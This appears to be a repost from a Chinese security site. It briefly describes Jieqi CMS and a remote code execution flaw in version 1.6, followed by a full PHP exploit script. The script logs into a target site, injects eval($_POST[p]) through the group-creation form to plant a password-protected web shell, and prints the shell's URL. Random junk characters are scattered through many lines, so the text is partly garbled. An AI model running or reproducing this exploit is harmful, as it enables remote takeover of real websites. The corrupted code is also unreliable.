杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。
, w, {. M+ Z8 j$ B( K1 Z0 ?5 c- w6 P/ V1 H' O
6 ^1 A1 `3 G1 t该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。. M' U5 l8 w$ v
需要有一个能创建圈子的用户。0 l0 [$ u& a) T9 S/ N2 J% [% \
, e; l$ z" K8 l5 \ z
<?php5 Q, F6 R. c* N; ~6 h) Z
6 c( R7 j5 x$ ^1 F2 V0 q
print_r(') T/ n* A" Y7 p+ r
+---------------------------------------------------------------------------+2 [4 u9 C4 X6 |( q' ` n. K
Jieqi CMS V1.6 PHP Code Injection Exploit3 A8 } p, `# h: Z% F
by flyh4t
1 j: p' x) _3 S) V0 u. j; \mail: phpsec at hotmail dot com1 H" l k. R7 r4 d: }
team: http://www.wolvez.org7 o* p& x; C2 \4 C) M
+---------------------------------------------------------------------------+1 l- X8 l4 D, J( L& b2 k. [8 W8 c
'); /**
0 L9 B! s8 F p; G( q! Y$ d& L' s3 ` * works regardless of php.ini settings
7 c5 j' ]* }; Q* K*/ if ($argc < 5) { print_r('% `6 g5 `2 G# ~4 C
+---------------------------------------------------------------------------+
& k6 Z8 z& Z. m! vUsage: php '.$argv[0].' host path username
0 {1 k- w# `# {) N* qhost: target server (ip/hostname)- |2 G) B) t. P% {: e4 g3 [, \6 _
path: path to jieqicms
0 D7 y! R+ Y( z" `2 Suasename: a username who can create group3 ]/ X8 G3 a: r0 |9 ^2 L# l
Example:0 U& ]8 | u3 H/ S
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password/ d7 |2 P( ~) X& w- h$ m+ L
+---------------------------------------------------------------------------+& f% s5 s- A/ f0 l
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
6 F3 k! i1 n! r( E& o+ SContent-Disposition: form-data; name="gname"
/ Q' {. v* Y2 A1 Z& }6 n# B
) T) G6 `' \; A8 K; b6 f8 L'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
# o: ?& g F5 ]' t. M-----------------------------23281168279961
. g N; {# d/ P: hContent-Disposition: form-data; name="gcatid". I) `5 ]- t; W- ^
- O# G- [( e$ z/ y+ W
1
9 ]9 X7 S8 \+ m9 J-----------------------------232811682799612 B# O$ M+ l' \7 P. D5 S( S! H
Content-Disposition: form-data; name="gaudit") {2 f* R# t. _8 @1 p% C
5 H. r. E/ F4 t0 U6 Z5 j. K
1
. D* g, A$ \! G" n% N( f-----------------------------23281168279961
* S3 v1 M/ f$ o. a4 {! F8 Y& VContent-Disposition: form-data; name="gbrief"
4 P6 F! f" g, l. s. \/ D
% B% _8 \& J3 G- \) e" y11 k/ f# n( ?$ N9 v3 D
-----------------------------23281168279961--& R: Y( B' [& _1 d) o" q
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com% N7 y' {$ x% Z. W
* D) Y7 g7 M1 m% u# jpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url; |